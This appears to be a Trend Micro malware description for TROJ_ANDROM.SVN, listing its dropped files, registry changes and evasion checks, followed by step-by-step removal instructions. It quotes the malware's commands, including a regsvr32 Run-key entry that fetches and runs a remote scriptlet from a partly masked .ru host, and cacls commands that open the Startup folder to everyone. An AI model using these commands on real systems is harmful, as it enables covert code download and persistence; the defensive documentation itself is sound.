This malware is involved in the filelessly-installed backdoor malware attack discovered early August 2017. Users affected by this malware may find their systems exhibiting malicious routines.
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It does not have any propagation routine.
It does not have any backdoor routine.
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan drops the following files:
- %Application Data%\ee{8 random characters}.exe
- %User Startup%\{1 random character}.lnk ← points to ee{8 random characters}.exe
(Note: %Application Data% is the Application Data folder, where it usually is C:\Documents and Settings\{user name}\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Roaming on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.. %User Startup% is the current user's Startup folder, which is usually C:\Documents and Settings\{user}\Start Menu\Programs\Startup on Windows 2000 and XP, and C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows Vista, 7, and 8.)
It adds the following mutexes to ensure that only one of its copies runs at any one time:
Other System Modifications
This Trojan adds the following registry entries:
HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
COM+ = "regsvr32 /s /n /u /i:http://{BLOCKED}r2.{BLOCKED}bw.ru/restore.xml scrobj.dll"
HKEY_CURRENT_USER\Keyboard Layout
2 = {hex value}
HKEY_CURRENT_USER\SOftware\Microsoft\
Windows
{Volume Serial Number} = {hex value}
Propagation
This Trojan does not have any propagation routine.
Backdoor Routine
This Trojan does not have any backdoor routine.
Other Details
This Trojan requires the existence of the following files to properly run:
- {Malware Path}\IndexerVolumeGuid
It checks for the presence of the following process(es):
- avp.exe ← performs infinite sleep if found
It does the following:
- It executes the following commands:
- Explorer.exe /n,"{Drive Letter where malware is executed}:\"
- cmd.exe /C Echo y | cacls %User Startup% /e /c /t /g Everyone:R
- cmd.exe /C Echo y | cacls %User Startup% /e /c /t /g Everyone:W
- It will not proceed with its routine if the system's language is any of the following:
- Russian
- Ukrainian
- Belarusian
- Kazakh
- It decrypts the component file IndexerVolumeGuid using the malware's filename.
- If running on Windows 10 or Windows Server 2016, it will not proceed with the dropping routine instead it will create the following registry entry:
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
COM+ = regsvr32 /s /n /u /i:http://{BLOCKED}r2.{BLOCKED}bw.ru/deploy.xml scrobj.dll
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Identify and terminate files detected as TROJ_ANDROM.SVN
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- Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
- If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
- If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.
To terminate the malware/grayware/spyware process:
- Scan your computer with your Trend Micro product and take note of the name of the malware/grayware/spyware detected.
- Open Windows Task Manager. To do this, press CTRL+SHIFT+ESC.
- View the list of all running programs. To do this:
• For Windows 2000, XP, Server 2003, Vista, 7 and Server 2008 users, click the Processes tab.
• For Windows 8, 8.1 and Server 2012 users, click the Details tab. - In the list of running programs, locate a malware/grayware/spyware file detected earlier.
- Select the detected files, then press either the End Task or the End Process button, depending on the version of Windows you are using.
- Do the same for the remaining detected malware/grayware/spyware files in the list of running programs.
- To check if the malware/grayware/spyware process has been terminated, close Task Manager, and then open it again.
- Close Task Manager.
Step 4
Delete this registry value
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Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- COM+ = regsvr32 /s /n /u /i:http://{BLOCKED}r2.{BLOCKED}bw.ru/restore.xml scrobj.dll
- In HKEY_CURRENT_USER\Keyboard Layout
- In HKEY_CURRENT_USER\SOftware\Microsoft\Windows
- {Volume Serial Number} = {hex value}
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- COM+ = regsvr32 /s /n /u /i:http://{BLOCKED}r2.{BLOCKED}bw.ru/deploy.xml scrobj.dll
To delete the registry value this malware created:
- Open Registry Editor. To do this:
» For Windows 2000, Windows XP, and Windows Server 2003 users, click Start>Run, type regedit in the text box provided, and then press Enter.
» For Windows Vista, Windows 7, and Windows Server 2008 users, click the Start button, type regedit in the Search input field then press Enter.
» For Windows 8, Windows 8.1, and Windows Server 2012 users, right-click on the lower left corner of the screen, click Run, type regedit in the text box provided, and then press Enter. - In the left panel of the Registry Editor window, double-click the following:
HKEY_CURRENT_USER>Software>Microsoft>Windows>CurrentVersion>Run - In the right panel, locate and delete the entry:
COM+ = regsvr32 /s /n /u /i:http://{BLOCKED}r2.{BLOCKED}bw.ru/restore.xml scrobj.dll - In the left panel of the Registry Editor window, double-click the following:
HKEY_CURRENT_USER>Keyboard Layout - In the right panel, locate and delete the entry:
2 = {hex value} - In the left panel of the Registry Editor window, double-click the following:
HKEY_CURRENT_USER>SOftware>Microsoft>Windows - In the right panel, locate and delete the entry:
{Volume Serial Number} = {hex value} - Again In the right panel, locate and delete the entry:
COM+ = regsvr32 /s /n /u /i:http://{BLOCKED}r2.{BLOCKED}bw.ru/deploy.xml scrobj.dll - Close Registry Editor.
Step 5
Search and delete these files
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There may be some files that are hidden. Please make sure you check the
Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
- %Application Data%\ee{8 random characters}.exe
- %User Startup%\{1 random character}.lnk
To delete malware/grayware files:
For Windows 2000, Windows XP, and Windows Server 2003:
- Right-click Start then click Search....
- In the File name* input box, type
- %Application Data%\ee{8 random characters}.exe
- %User Startup%\{1 random character}.lnk
- In the Look In drop-down list, select My Computer then press Enter.
- Once located, select the file then press SHIFT+DELETE to delete it.
- Repeat the said steps for all files listed.
*Note: The file name input box title varies depending on the Windows version (e.g. Search for files or folders named or All or part of the file name.).
For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:
- Open a Windows Explorer window.
- For Windows Vista, 7, and Server 2008 users, click Start>Computer.
- For Windows 8, 8.1, and Server 2012 users, right-click on the lower left corner of the screen, then click File Explorer.
- In the Search Computer/This PC input box, type:
- %Application Data%\ee{8 random characters}.exe
- %User Startup%\{1 random character}.lnk
- Once located, select the file then press SHIFT+DELETE to delete it.
- Repeat the said steps for all files listed.
*Note: Read the following Microsoft page if these steps do not work on Windows 7.
Step 6
Scan your computer with your Trend Micro product to delete files detected as TROJ_ANDROM.SVN. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
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